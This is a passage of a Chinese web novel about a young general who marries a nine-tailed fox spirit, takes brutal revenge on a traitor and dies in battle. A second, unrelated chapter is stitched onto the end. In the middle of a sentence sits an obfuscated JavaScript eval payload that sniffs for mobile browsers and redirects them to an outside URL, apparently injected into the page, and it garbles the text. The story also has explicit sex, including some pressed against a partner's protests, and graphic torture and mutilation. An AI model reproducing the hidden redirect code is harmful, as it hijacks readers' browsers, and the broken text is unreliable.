我不再寄希望于他会感到悲伤,我想看他动情。我觉得他能够动情就已经很好了,即便不动情,能接受我的爱也很好,至少我真的可以娶他。 他答应了。 5. 我会带他去游玩,去逛城里的作坊和小摊,去城外踏青观景。 逛完回来,他累了,就坐在屋里看书,我坐在一旁看着他,抑或是看他雕扇坠,他雕扇坠时很专注,一丝不苟。 我带他去过很多地方,最开始他只是听从我的安排,后来会让我带他去他想去的地方。 他从最初的抗拒变为接受,开始由着我抱他搂他甚至亲他。 他变了,我明白。 但他依旧没有太大的情绪波动,好像又没变。 再后来,我要收复柳城。 临行前一晚,我去他的房间找他,却看到他在院里挑灯赏萤。外面冷,我拿了一件披肩给他披上,告诉他说:“下次回来,我想让陛下赐婚。” 他转移话题,问我为什么不好好休息。 我说他转移话题的技术差,他说你知道我不会回答这种问题。 我的确知道,但我只是想让他有个心理准备。 他说他不在意这种事,不需要心理准备,我以为他不同意嫁给我,他却说没有。 他同意了。 我太过激动,捧着他的脸吻了上去。 我真的好想现在就让他属于我,但他不会同意的,所以我只能忍。 他没有拒绝接受我的爱,这样的结果,已经很好了。 收复柳城的战役打的很顺利,军队刚好可以年前返乡。 我和大将军带兵返回,虽然赢了,可我心里总不踏实,总觉得会有什么不好的事要发生。 事实证明我的担心是对的。 行至黑匣关,我们遇到了蛮人军队的埋伏。这是衍国境内的关卡,蛮人根本不可能进来,而且也不会知道我们的行踪。 所以,一定是有内鬼。 但我没时间去找内鬼了,他们从山坡上推下好多块圆形巨石,巨石压死了好多人,我们又被堵死,完全是待宰的羔羊。 乌泱泱的人群洪流般从山坡奔下来,我们人数骤减,根本不是他们的对手。 大将军见势不妙,拔剑挡在我身前。 “阿璟,你走!” 我不肯,和他一起上:“要走一起走!” “你逞什么强!”大将军急了,他踢开被剑刃刺穿的蛮人,转头看向我,“你活下去,今日之仇来日再报,走啊!” 剑刃碰撞的声音在我耳边不断回响,我握紧手中的剑,不肯退让一步。 “阿璟,你在固执什么!” 大将军又催我,我一剑割开面前蛮人士兵的喉咙,鲜血飞溅。 我们马上就出关了,我若逃跑,蛮人不会追过来的,可我为什么要跑? 我不仅不跑,还要把敌人杀的片甲不留,动了我的士兵,谁都别想活命! “我不会走。”我可以确定我说这话时很冷静,我没有生气,只是想让所有敌人都付出代价,“他们也别想有一个人活着离开。” 大将军看了我一眼,他看我的眼神很奇怪,仿佛在看一个无比熟悉却又陌生的人。 这种眼神在我后来上书陛下将顾永和凌迟三万刀时,陛下看我的眼神一模一样。 我知道他们在想什么,他们都把我当小孩子,此时却发现自己看不懂我了。 我才十九岁,对他们而言确实是小孩。但我是从死人堆里爬出来的孩子,没他们想的那么天真善良。 如今,只不过是暴露本性。 大将军突然笑起来。 “来,大不了今天一起死!” 我的手酸了,换了一只手握剑,蛮人并没带多少士兵,我们的人绝大部分都是被巨石压死的。 一番交战下来,敌我双方人数差距极大。 我没时间再去回大将军的话,我身边的士兵接连倒下,今天在场的蛮人,谁都别想走! 大将军说得对,我是个天生的杀神,明明他们都死了,我却还能不知彼倦的战斗。 太阳西斜时,我终于杀掉了最后一个人。我回过头,步履蹒跚地把大将军的剑拿起来,他生前最爱这把剑了,我要带回去。 那把剑被扔在地上,剑刃淌着血,没染血的地方映出我猩红的眸子,那双眼睛,连我自己都觉得陌生。 我想转身,却脚下一软,再也没力站起来。好在我手快,以剑撑地才没倒下。 我半跪在地的那一瞬,身上的伤口突然好疼。它们在撕咬我的每一寸血肉。痛感从经脉传到五脏六腑。 我抬眸,却看到天边的残阳。 好像有人用血在远天与地平线的交界处抹了一把,地上的尸体堆积如山,我仿佛又回到了七岁那年的柳城。 我大抵是要死了,我想。 可我不想死,我还没有把剩下的国土都收回来;我要为我的将士报仇;还有人在等我回去娶他…… 我不想死,我努力挣扎,却怎么也站不起来,双眼逐渐也失神。 我,好像真的活不成了。 视野模糊之际,远处却突然出现一个熟悉的白色身影,他越过地上的尸体朝我走来。 我回过神,哑然失笑,觉得这是幻觉,他从不过问战事,即便懂兵法,也不会想到我会出事。 这是黑匣关,衍国境内的土地,谁能想到我们会在自己的国土上被自己人出卖。 一定是老天爷知道我要死了,怕我死的太痛苦,要给我造一场梦。 但事实证明我想错了,这不是梦。 他走到我跟前,我看到他平静无波的脸上带着一丝心疼。 他想扶我起来,可我根本没力气站起来,我回不去了,我抓着他的手,要他替我报仇。 他说他不会让我死。 我一愣,随后,我看到巨大的九尾虚影出现在他身后,火烧般的云霞和半透明的虚影交叠在一起,漂亮极了。 他的手在身后一划,我看到他蹙起眉头,紧接着一条尾巴便被他握在手心。 我怔住了,没想到他会这么做。 我才发现,原来他骨子里也疯到极致——和我一样。 我笑了,抬起手抚摸着他的脸,问他:“疼么?” 他说不疼。 他怎么会不疼,他明明皱眉了,他一定很疼,他在骗我。 他对我说:“这个仇,你自己报。你活下去,我嫁给你。” 他的声音很轻,一定是因为自断一尾所以身子太虚弱了。 “好。” 我艰难的从喉咙里挤出一个字,他将妖力以妖气的形式注入我体内,我实在是撑不住了,眼前一黑便没了意识。 6. 我再次醒来时已经是三天后的晚上。 我刚穿好衣服,他就推门进来,见我醒了,就去让厨房煮粥,我拉住他,说我不饿,然后搂住他,问他疼不疼,他依旧说不疼。 刚巧管家推门进来为我换药。 管家是一个思想比较古板的人,看到我们搂在一起,愣了一瞬,那一瞬我似乎看到有什么东西倒塌了。 然后,管家放下药和绷带麻溜跑了。 他伸出手,想叫住管家,但管家早跑没影了。我问他是不是一直是管家给我上药,他说是,我笑起来,说要让他帮我上药。 他不肯,想去叫人,我用力箍着他,他挣不开,自然没法去。 我问他之前说的话可还算数,他问我什么话,我说:“我活下去,你嫁给我。” “算数的。” 我笑的更厉害了,我的夫人好像一点都不懂夫妻之间如何相处,我开始怀疑他之前到底有没有过家室。 我说他是我夫人,为我上药天经地义,他拗不过我,只好硬着头皮给我上药。 他帮我缠绷带时,我问他想什么时候成亲,他说等顾永和入狱,我有些惊讶。 “是顾永和的手笔?” “是。” 我接过他递来的衣服,问他是怎么知道的。 “别忘了我是狐狸。” 我笑起来。 是了,他那么聪明,又有妖力,想知道什么不过是动动手指的事。 况且,我不在的这段时间府里恐怕来过不少人,毕竟谁都知道我将来的地位,提前笼络好对他们没坏处。 谁有问题,他一定能看出来。 我搂着他亲了好久,我何德何能可以让他答应嫁给我呢? 可他真的答应了。 这最开始只是一个妄想,但现在不是了。 他被我吻到快喘不过气我才停下,他脸色很不好,我让他安心养伤,不用过问顾永和的事,他同意了。 夜色正浓,他要回去睡觉,我不让,将他打横抱起。 他忙推我:“别闹,我得回去休息。” 我把他放在床上,说:“别走了,今晚睡在我这里。” 他知道自己拗不过我,只好答应。 我穿的本就是亵衣,不需要脱衣服,倒是他,裹了好几层,又不好意思在我面前脱,迟迟不肯动手。 我逗他:“又不是脱的什么都不剩,有什么不好意思的。” 他的脸“唰”的一下红了:“你把头扭过去!” 我笑着把头扭过去了。 他脱了衣服,只留亵衣在身上,待他把衣服搭在一旁的架子上后我才转身。 他躺在我怀里,我从背后搂着他,我们的身体紧贴在一起,我甚至能听到他的心跳,他一定也能听到我的。 我很满足,可我又觉得对不起他,我是要上战场的人,指不定哪天就死了。 他是我的妻子,我若死了,他岂不是要为我守寡? 夫妻之间还有为夫守孝三年的规矩,这种规矩对他而言是一种束缚,我不想让他被束缚,他应该去做任何他想做的事。 “其实你若不愿意,也不用勉强自己嫁给我,万一我早死,你还要为我守寡,怎么说都是委屈你。” “阿璟。”他喊了我的名字,声音毫无起伏,“我是自愿的,不会后悔。” 这次轮到我叹气了:“若哪天我死了,你就离开,去做你想做的事。我会立下遗嘱,你别被人间的规矩束缚了。” 他点头,顿了顿,又说:“阿璟,你纳个妾吧。” 我愣了一下,有些生气,但我忍下去了,只是将他搂的更紧,问:“为什么?” 他依旧很平静,不,准确来说是理性:“我并非女儿身,你总得留个一儿半女传宗接代。” 我彻底生气了。 喜欢一个人就非要和他留下一个孩子么?坐拥高官厚禄就非要留下一个血脉去继承么? 他为什么总是这么理性? 我只喜欢他,不喜欢女人,他居然劝我去纳妾! 我坐起来,拉着一张脸,睡意全无,我真的不理解为什么会有妖理性到这种程度! 他也起身,很不理解的看着我:“你生气了?” 我努力把声音压下去,争取不像在吼人:“我不该生气么?” 我以为他会哄我,但他接下来的话却证明我想多了。我真傻,居然会对他哄我这种天方夜谭抱有期待。 “阿璟,我不能生育,你应该明白,我这是为你考虑,你为什么要生气?” 我的火气更大了。 “你明明知道我只喜欢你,你也答应要嫁给我了,可我们还没成亲,你就要把我拱手送人,这像话么?我不该生气么!” “我以后不劝你纳妾便是。” 我:“……” 无言以对。 我的脾气突然没了,人无语到极致是真的会笑。 这些话的重点不应该是我只喜欢他么,他为什么还会把重点放在纳妾上! 我实在是气不过,直接翻身把他压在身下又吻又啃。他被我的动作吓到,在我身下挣扎,我吻的不过瘾,干脆扒开他的亵衣。 “阿璟!”他忙叫住我。 我抬眸,发现他眼中含着雾气,大抵是被我的啃咬弄疼了。 我无奈叹气:“你懂我只喜欢你是什么意思么?只代表唯一,我谁都不要,只要你。而且我不喜欢女人,你为什么还会把重点放在纳妾上?” 没等他说话,我又吻起来,脸、脖子、肩颈、锁骨…… 我嫌亵衣碍事,索性全扒了。 他的胳膊突然环在我脖子上,我明白他的意思,吻的更厉害了,连他的胳膊都没放过。 我的身体在发烫,我不知道他有没有心理准备,不敢贸然去做,但我忍的好难受。 我抓起他的手,喘着粗气:“我以后不想听这种话。” 他点头,我将他的手拽过来,他大惊失色:“你别这样!” 我笑起来,发出一声满足的叹息,问他:“那你说我该怎样?” 他没说话,只是把头偏过去,脸红的更厉害了。 他说不出来的,我就知道。 七情六欲是人之常情,我不信他没自渎过,所以他不会抗拒这种事。 但我又想错了,后来的种种证明,他真的没自渎过。 再后来,我问他为什么今晚不拒绝,他说少年贪欢很正常,这没什么要避讳的,只是当时没想到我会让他来。 他本想收手,但看到我忍的难受,而且自己的手已经碰上去了,干脆没收。 他真的特别理性,还总会为别人考虑。我希望他多点感性,不过这是不可能实现的了。 我们折腾了好久,亵衣皱的不能穿了,还有些湿,我喊人,门外却传来一道陌生的男声。 “将军有何吩咐?” “管家呢?”我问。 那人说:“管家说他这几天有事要做,您伤好之前的日常起居都交由我照顾。” 我:“……” 管家一定是被吓到了。 我吩咐那人拿了两套亵衣,又打了盆热水给我夫人洗手。我帮他把衣服穿好,又帮他把手上的黏腻洗掉。 正洗着,他突然问了一句:“管家还好么?” 嘶,怎么说呢。 我觉得他应该还好,缓几天就可以过来了。 但是吧,他看起来并不好。毕竟如果我没猜错,在我面前轰然倒塌的东西应该是管家的认知。 “应该还好。”我不确定管家好不好,干脆随便回了一句。 他点头,没再说话。反正管家是要继续在府里当差的,他不好也得把自己掰好。 “对了,陛下派人把他们的骨灰葬入皇陵了,并下令国丧七天。” 我拿起帕子给他擦手,欣喜之余又有些遗憾:“葬入皇陵倒没法去看他们了。等顾永和入狱,我们去放灯。” 他说好。 7. 我醒来的第二天,派人把大将军的剑送回去了,并开始着手处理顾永和的事。黑匣关在衍国境内,那么多蛮人入关,关吏不可能不清楚。 我上书陛下彻查此事,把所有相关人员都查了个底朝天。 期间宫中有做侍卫的修士被顾永和买通,指责我夫人是妖,说他妖言惑众污蔑自己,若非是在朝堂上,他的项上人头早没了。 陛下当然知道我夫人是妖,哪用得着他来说,自然没有收回彻查顾家的命令。 整整半个月,这件事情终于结束。 所有证据都被摆出来那天,皇后娘娘身边的大宫女说,她想见我。 我去了。 “我倒是想不明白,你居然会喜欢一只妖,还是个……” 皇后娘娘那句没说完的话我知道是什么意思,她没想到我会喜欢一只妖,更没想到我喜欢男的。 我只是笑笑:“娘娘,只要真心喜欢,何必在意那么多呢?” 她也笑起来,说:“大将军早和我说过了。我原以为他只是胡诌,没想到是真的。论对你的了解,我和陛下都不如他。” “那只妖甘愿舍命救你,也是个重情义的。陛下那边早准备了礼品待你成亲,我也不知道送什么,你有什么想要的,倒可以和我说说。” 我没什么想要的,不过听说皇后娘娘母家有一家绣坊,坊里的绣女技艺精湛,便大胆请她帮我做一套婚服。 她答应了。 听说后来皇后娘娘派人去将军府邀夫人进宫,不过他没去,一人一妖靠写信把婚服暗纹的样式给定了。 这倒符合他的作风,他是不会进宫的。婚服上的暗纹我看过,一看就是他在信上随便写的花纹样式。 他向来不在意这些事。 不过这些不仔细看是看不出来的,婚服上用金线绣的图案也和常见的不一样,那上面绣的是山河日月。 山河日月,不止是我的,还属于每一个衍国人。看到婚服那天,我更坚定了收复失地的想法。 属于衍国的土地,毫厘不让! 又过了三天,顾家被诛九族,我带他去放灯。 我们是走路过去的。 他抱怨我给他穿的衣服太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014062|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,我说今天冷,他不多穿点容易生病。 “我又不是什么七八十的老翁,还不至于风一吹就咳个不停,真没必要穿这么多。”他准备摘下兜帽。 我按住他的手:“你要是摘下兜帽咳嗽了,下次出门我就把你裹成粽子再出来。” “你还威胁上我了。” “这叫关心,说是威胁多难听啊。”我拿起随从买来的灯,递给他,“你来写。” 他愣了一下,接过灯,提笔写了一个字:安。 我笑起来,只能说不愧是他。 不过,一个“安”字足矣。 国安民安人安甚至逝者安息,都是安。 他写的,和我所期盼的,并无差别。 回去以后,我就开始筹备婚礼的事。他像往常一样坐在屋子里雕扇坠,偶尔出去走走。 我被封为大将军,我告诉他,下个月初一,我们就成亲。 成亲那天我没喝酒,他不喜欢酒味,所以我把那些递来的杯子全拒绝了。 我回房的时候他有些惊讶,估计是觉得我会喝酒,见我没喝有些超出预料。 我带他有条不紊的完成婚礼仪,擦手时他说人类的成婚礼仪很多,我说就这一次,我只娶他一个。 说完我开始好奇妖族的成婚礼仪是什么样,他说掀了盖头就行。 我笑着说少了一个,他有些懵,问我少了什么,我把他压在身上,吻到他说不出话来才回了一句:“少了圆房。” 他不同意,说和妖有肌肤之亲会染上妖气。 我知道他在怕什么,宫中有些侍卫是修士,也没见过我,我染了妖气,进宫很容易被当成妖。 可我又不怕,他们有本事把我当成妖杀了。 我等这一天等好久了,他的衣衫早已被我褪去,头上的簪子也被我拔下来扔到地上。 我被那种前所未有的快感包围,他在迎合我。 可他的动作太笨了,像是初尝人事。我一直以为他活了这么久,应该是有过妻儿的,只是后来战死了。 但我好像想多了。 我问他是不是初尝人事,他点头。 他似乎没有任何欲望,我不信邪,又问他有没有自渎过,他摇头。 我开始嘲笑自己之前的想法,觉得自己太天真。 于是我把主意打到了他胯间,我故意把他挑起火来,他又羞又气,居然哭了。 我抹掉他的眼泪,把他抱起来,他让我放开他,我骗他说带他去沐浴,他信了。 我在水里教他放轻松,他照做了。起初很刻意的迎合我的动作,后来似乎是找到了感觉,倒没那么刻意。 更夫敲了第三次锣后我才从他身上下来,收拾完一切,他有气无力的躺在床上埋怨我,因为声音太小又气息微弱,听起来像撒娇。 他并不喜欢我刚才那么放肆,我只好向他保证,以后再也不这样,处处听他的。 8. 但我没想到他会生病,大夫说他只是发烧,但身子太虚弱,须得养着,我在心里长舒一口气。 我反复看大夫留下的方子,确认自己能记住,然后让兰心去抓药。 兰心把药抓回来,我又确认了一遍没抓错,这才和她一起去厨房熬药,我得盯着,不能有一丝马虎。 药是过了午时才熬好的,好在他没有病到药都喝不进去的地步,喂了药,我就在屋里看书。 天色渐晚,管家送来一碗甜粥,我没喝。粥还没凉,他先醒了,我把他扶起来,喂他喝粥,他说要自己来。 我不同意。 明明我们已经成亲了,同房也好喝粥也罢,这些我觉得都是夫妻之间很理所当然的事,他却总是十分抗拒。 但我不能说,他能接受我的爱就已经很好了,我还能强求他什么呢? 我调戏他,他不让我把流氓做派用他身上。 行吧,我不用就是了。 我坚持要喂他,他没再反对,然后问我顾永和的事,我说他在狱里受刑疼晕了。 他却觉得便宜了顾永和多活一个月。 我在心中冷笑,他多活一个月又如何? 他这一个月生不如死,而且一个月后还是要死的,我不会让他死的那么轻松。 我要让他死透之前都生不如死,这样才对得起我那三万将士。 喝完粥,月亮已经爬上来。 我搂着他,和他讲我的过去。讲完,我问他有没有什么想做的事,他说想开一家客栈,名字就叫鸿福客栈,我亲了他一下,说好。 一如既往的,他没有对我这个亲昵的举动做出任何回应,我也并不期待他能做出回应,不抗拒就已经很好了。 他却说他让我失望了。 他并没有让我失望,我当初只是说让他试着去改变,既然是尝试,那么不成功也没关系。 我已经做好了他没有任何改变的准备,他却变得让我出乎意料。 或许他永远也不会明白爱上一个人是什么感觉,但至少他没有拒绝接受我的爱。 我知道这两者不能划等号,但让他去改变真的很难,而他也对自己会改变不抱有任何期待。 所以,我来爱他,他只需要接受我的爱,这就已经很好了。 我又想,既然伤了元气,那应该可以喂血。我喂他喝血,他说没用。 他维持人形也是需要妖力的,变回原形妖力负担或许就没那么重了。 我说想看他变回原形的样子,他不肯,说以后再变,但拗不过我,最后还是变了。 他的原形大概有我半条小臂那么长,是一只玉雪可爱的小狐狸,眉心还有一朵红色的三瓣莲花,颇像我朝女子的花钿。 我轻轻抚摸他雪白的毛发,他竟睡着了。 我抱着他入睡,他头顶光滑柔软的绒毛扫过我的下巴,那种柔软舒适的感觉让我觉得浑身舒畅,不自觉的把下巴抵在他脑袋上睡了过去。 第二天醒来,他还没醒,我去上早朝,下朝回来又吃了一顿饭,他还没醒,然后我就想把他抱起来继续摸他的毛。 谁能拒绝摸一只毛发柔软长相可爱的小狐狸呢,更何况这只狐狸是我夫人。 我刚把他抱起来,他就用尾巴打我想让我把他放下来。 看来是醒了。 但我不放,他爪子上多了几分力道,我猜他要抓我,依旧没放。 兰心突然闯进来,张着嘴想说什么,却在看到我怀里的小狐狸后说要抱他。 我拒绝了。 她又要喂夫人吃生肉,我忙拦住她,问她是不是有什么事,她说刑部尚书想见我,我让兰心带刑部尚书去前厅,自己稍后过去。 兰心真的很坚持,又问我能不能抱夫人。 废话,我夫人,当然不能给你抱。 兰心走了,他让我放他下来,我不放,继续顺他的毛。 他急了,从我怀里跳出来化成人形,还不忘白我一眼。 我凑上前在他颈窝落下一个吻,调戏他说我哪没摸过,居然这就生气了,他推开我,让我去前厅会客,我笑着在他唇上盯了一下,然后走了。 9. 满尚书觉得三万刀很多,我觉得一点都不多。 用顾永和的一条烂命换三万人的命,本就不公平。别说三万刀,三十万、三百万也远远不够! 我执意不改,满尚书每天都往我这里跑,一天一个花样劝我改主意。 某天我不在,夫人替我接待了他,等我回去时,他已经在府上坐了好久。 夫人要走,我拦住他,让他留下来,他说不便参与国事讨论,我说是顾永和的事,他这才肯留下。 满尚书点子都用完了,这次直接劝我改主意,我不听。 他没话了,又开始想法子劝我。夫人沏了茶,他把茶递过来的时候,我看到他瘦削的指骨,突然有了主意,问满尚书能不能动骨头。 他一口茶喷出去了,应该是被我这个想法吓到了。 他劝我改主意,我不肯,他不劝了,进宫面圣去了,此后再也没和我说过这件事。 夫人的身体恢复的还不错,至少脸上是有血色了。我没事就坐在一旁看他雕扇坠,他特别喜欢雕扇坠。 我问他原因,他说他以前会借雕扇坠数着日子等他父母回来,我问他他雕多少扇坠我才会回来,他居然说没记过! 我不开心,说他不关心我,他说我像三岁小孩,幼稚。 我才十九岁,他都一千多岁了,在他面前我祖宗都是小孩,我自然也是,幼稚点怎么了。 他一时找不到理由反驳我,我趁机把他抱到床上,借口看他身体恢复的如何把他吃干抹净了。 我忍好久了,不吃一口浑身难受。 第二天中午我带他去看顾永和。 顾永和出言不逊,说我是他的恩客,言下之意是在骂我夫人是做娼妓的妖,我自然不能忍,索性割了他的舌头。 夫人却更在意顾永和是如何知道他是妖的,这一点我之前在大殿上也很疑惑,便让狱卒拿来纸笔,按着他写字。 顾永和不肯,我用力捏着他的指骨,强迫他写,我可以保证他再不写我会捏碎他的骨头,但捏碎他就更没法写了。 顾永和疼痛难忍,最终写下一个名字,他的指骨逃过一劫。 夫人看完就把那张纸烧了。 回去后,我问他那人是谁,他说了一个名字,我派人去查那人的身份。 一番查探下来,发现他只是一个凭借自己有点灵力就坑蒙拐骗的修士,他要求顾永和事成之后分五分之一的财产给他。 原来还有条漏网之鱼呢。 但顾永和并没有成功,反而在以他私藏的金银财宝为诱惑等这个修士去救他,既然他在等人去救,那我干脆吊着他好了。 我派人把那个修士抓了过来,又派人把顾永和藏的东西挖出来,果然发现了不少好东西。 这个修士说了不该说的,我不会放过他,便上书陛下,想让陛下把他交由我处理。 陛下同意了。 为了避免麻烦,我割了他的舌头,断了他的手脚。任他再厉害,修为不够也没法修补自身经脉,更何况他催动灵力的手被已经我断掉,如今只是待宰的羔羊。 他被我关在柴房,由管家照看。管家有些不理解:“将军,既然您知道这个人说了不该说的,何不直接杀了他,这么做倒让他多活了几日。” “你别让他饿死就行,只要该死,我就不会让他活着。柴房里的东西都腾到西边院子里,拿东西就去西院,别让兰心看见他,兰心年纪小,容易被吓到,也别让她知道。” 管家照我说的一一做了。 我估计兰心这几天正在夫人哪里琢磨我们去哪玩。 顾永和行刑前一天,我把那个修士的头割了装到一个盒子里,然后去了天牢。 我把盒子扔给顾永和。 “你不打开看看?”我饶有兴趣的看着顾永和,期待他打开盒子后的反应。 顾永和将信将疑的打开盒子,却在打开的一瞬间将盒子扔了出去。 一颗人头从盒子里滚出来,那颗头的眼睛还睁着,我知道他带着不甘。 他不甘心又如何,再不甘心他也死了。 顾永和呜呜啊啊的叫着,当即就要撞墙自尽,却被我从后面抓着衣领。 他转过头来,看向我的眼里满是惊恐,如果他会说话,我猜他一定会骂我,可他没舌头了。 他在等修士来救他,甚至劫刑场,所以他才选择在天牢熬着,即使生不如死也会活下去。 可现在呢,明天他就要被处死了,凌迟三万刀,死都死不痛快,所以他在看到修士的头后选择撞墙自尽,好歹能痛快的去死。 但我为什么要让他死的这么痛快,他落到我手里,就别想死的舒服。 在死亡即将来临之前发现自己的希望破灭,甚至没办法让自己死个痛快,那才是彻底的绝望。 只杀人多没意思,要玩就玩杀人诛心。 我一个手刀打晕了他,离开天牢之前吩咐狱卒看好他,别让他死了。 顾永和真的活到了问斩的日子,我找了刑场对面的客栈住下来,全程看着。夫人也来过一次,我捂着他的眼睛,让他别看。 他却拿开我的手,对我说:“阿璟,我见过的未必比你少。” 我愣了一下,随后笑起来。 是了,他活了一千多岁,他的阅历是我一生都无法企及的高度,我居然会对他说别看。 在一起的日子过太久,我差点忘了他的年龄。 10. 此后的日子虽然聚少离多,但并不影响我们之间的感情。 过年时我会带他出来,外面很热闹,我觉得他应该到这些热闹里去看看。 我们成亲的第三年,我又带他去逛街。 兰心跟着我们一起出来,她买了好多糖葫芦,我说吃多了会坏牙,兰心不服,他也护着兰心,说:“你小时候也爱吃,比她吃的还多,她吃些不碍事,不用这么约束她。” 这下我也不服了,哪有他这种胳膊肘往外拐的? “我现在又不爱吃。”我反驳道。 “那将军现在爱吃什么?”兰心问我。 我看向夫人:“我爱吃人。” “啊?”兰心听不懂我的意思,挠着头想半天也没想出个所以然。 当晚回去,夫人说我乱说话,我选择用实际行动证明我没乱说。 “我真的爱吃人。”他被我顶的嗯嗯啊啊说不出话,我继续逗他,“你比糖葫芦好吃,我早换口味了,今天的话哪里算乱说。” 他终于有了喘气的机会,在我肩膀上掐了一把:“对对对,你没乱说。你确实换口味了,改吃我了,一天一顿也不怕给自己的身体吃坏了。” 听得出来,他有些生气了。 “你生气了?”我加重了力道。 他“嘶”一声,用力推了我一把:“你出去,别碰我!” “我不。”我开始装委屈,“我几个月才能回来一次,好不容易能吃上一口你还不让我多吃点,你这是虐待我。” 他不理我了,把眼睛闭上,拒绝和我语言交流。 人不要脸天下无敌,诚不欺我。 明明是我强按着他做的,这话却显得我像是受害者,我猜他闭眼的时候一定在想为什么我可以厚颜无耻到这个程度。 “你到底是和谁学的这些?我可没教过你。”他终于开口了。 我笑起来:“这种事不是自然就会的么?这是生理本能。” “我很好骗?” “你不信我,还不让我吃饱,甚至不肯喊我夫君,你要是再这样,我会很伤心的。” 他叹气了,彻底败在我的厚脸皮下:“真是拿你没办法。” “那你喊我夫君。”我开始得寸进尺。 给点颜色不开染坊那不是浪费颜色嘛。 “不可能。”他果断拒绝。 “我不管,我要听你喊我夫君。” “做梦!” 我用力顶了他一下,他皱起眉:“说了不喊就是不喊。” “为什么?” “没有为什么。”他偏过头,“你出去,我不要了。” 他发话了,我只能乖乖出去。我带他去沐浴,他没说过一句话,是真生气了。 “别气了,我错了还不行,以后不让你喊了。”收拾完一切,我从背后搂着他道歉。 “我没气这个。” “那你在气什么?” 他转过身来,看着我很认真的问:“你老实说,你到底和谁学的这些东西,好的不学学坏的,还挑逗起我来了。” 其实这种事我真的没学,一是生理本能,二是习惯使然,做多了自然就熟练了。 至于挑逗他,只是突然生出的一个恶劣小爱好而已,不过他好像不喜欢我这样,我以后改了就是。 “我真的没学。”我盯着他,很认真的回答。 他又转身,背对着我:“你再这样,就别碰我。” “我以后不这样就是了。” 我把脑袋埋在他颈窝,他没推开我,只是叹气:“快睡吧,太晚了。” 我点头,靠在他身上睡着了。 这不算吵架,我们在一起从没吵过架。 他会控制自己的情绪,我会在他真的生气时尽量去安抚他的情绪,所以我们从来没有爆发过一次争吵。 日子就在不知不觉间流过,为了以防万一,我早早立好了遗嘱,并告诉管家遗嘱藏在哪里。 我的遗嘱很简单,我死后不需要我的夫人为我守孝,他甚至不需要为我引灵送葬。 他什么都不需要做,只要在我死后去做任何他想做的事就好。 那些都是人的规矩,他不该被束缚。 我希望我死后,他依旧可以雕扇坠,雕累了,就出去走走。他住的地方依旧种些百年春,风一吹,白色的花瓣像满地的碎玉在晃动。 他会过上像以前一样看书种花的生活,不过要多一个管理店铺了,毕竟我们开了一家客栈。 转眼就到了我们成亲的第四年,我又带他逛街,这一年过年街上依然很热闹。 我问他是不是没有姓,他说妖不需要姓氏,只有名字。 我有些不开心,他是我夫人,名字只能留给我,将来我死了,也把名字留给他。 可他居然只有名字没有姓氏,这样连以后出门想报个姓氏都报不了。 我给他出主意,让他随我姓,他却说名字只是一个称呼,这件事就此不了了之。 直到我死,这件事都没个定数。 死后就更别说了,我什么都不知道,也不清楚他有没有用我的姓氏。 我死的时候是我们成亲的第八年春天。 我收复了焱州,自此我大衍国土归于完整,蛮人不敢再南下。 那一战我伤的很重,一连昏迷了好几天才醒过来。所有人都以为我的伤好了,我们便班师回朝,却不料伤好是假回光返照是真。 我死的那晚起了风,彻底失去意识之前,我听到我的士兵在哭,他们哭的很伤心。 有人在我为我哭。 如果他亲眼见到了我的死亡,一定不会哭的。 他会默默陪在我身边,等着我阖眼。 如今国土已经完整,我此生无憾。 只可惜没能再见到他,没有机会去看我收回来的每一寸土地。 不过没关系了,会有人替我去看的。此后百年千年,都会有源源不断的人替我去看,他们能看到,就足够了。 我阖了眼,再也听不到任何声音。 我不知道我死亡的消息传到将军府时他是什么表情,但我猜一定是一如既往的沉着。 我不再寄希望于他为我哭,他遵从我的遗嘱就好,他不该被束缚,他的妖生还很漫长。 我的死,甚至我的一生,对他而言只是漫长生命中的短暂插曲,他不该因此停下脚步。 我的一生不过短短二十七年,可我这二十七年,却比任何人都要幸运。 这就足够了,毕生心愿已经实现,爱人的归宿也已经安排好,余下的,就不归我管了。 我只管生前,至于身后事,随便他们了。 23. 第二十一章 在泛月的客栈休息几天后的谢松意气色比之前好多了,桐伯早已离开,林鹤眠和谢松意也准备去漠林。 出了门,谢松意大老远就瞧见一只大灰狼泪汪汪地朝自己扑过来,谢松意面无表情的躲开,狼妖扑空,一个趔趄差点摔在地上。 “我还没死。” 谢松意无语又无奈,显然是知道狼妖为什么飙着泪朝他扑过来。 前几天闹出的动静太大,狼妖一定是看见了,只不过没来客栈。 “您没死最好了。”狼妖直起身子抹了把眼泪,鼻子一抽一抽的,“前几天我看到漠林的妖气,本来想着去找您的,结果路上遇到一个贼眉鼠眼的人,我觉得他不是好东西就想把他打晕带过去,结果没打过。” 林鹤眠挑眉:“然后?” “他没杀我,我晕了过去。后来遇到了要回去的老板,还带了一对兄妹。” “老板把我叫醒,前因后果都说了一遍,我干脆算着您伤好的日子再过来。” 谢松意微微蹙眉,没猜错的话狼妖遇到的人应该是陈如絮。 狼妖修为不够,但凡有他四成妖力,陈如絮早死了,倒是便宜他多活了几天。 林鹤眠瞟谢松意一眼,他看得出来谢松意并不想接狼妖的话,便很有眼色的转换话题:“要不你俩先聊,我们一会再去漠林?” “你们去漠林带上我啊。”狼妖拍着胸脯,一副胸有成竹的样子,“我对漠林可了解了,跟着我保你们少走弯路。” 谢松意一言难尽的看狼妖一眼,林鹤眠觉得面前的场景有些诡异,忍不住后退一步。 一只大灰狼后肢撑地立起身子对你拍胸脯,这画面怎么看怎么不对劲。 林鹤眠偷偷看向谢松意,谢松意对上他的眼睛,他眼珠子朝狼妖那边滚了一下,意思是问谢松意要不要带狼妖。 谢松意看着面前有些憨憨的狼妖,叹了口气:“带你去可以,但你能不能先变成人形?” 狼妖左右看了一圈自己的爪子和尾巴,后知后觉的“哦”了一声,变成人形了。 谢松意抬起脚要走,林鹤眠紧随其后,还没走两步狼妖就开始喋喋不休个没完。 “我跟你们说,这漠林我最熟悉了。中心地区有一块绿洲,那有人开了饭馆,咱现在赶路天黑之前一定能到。” 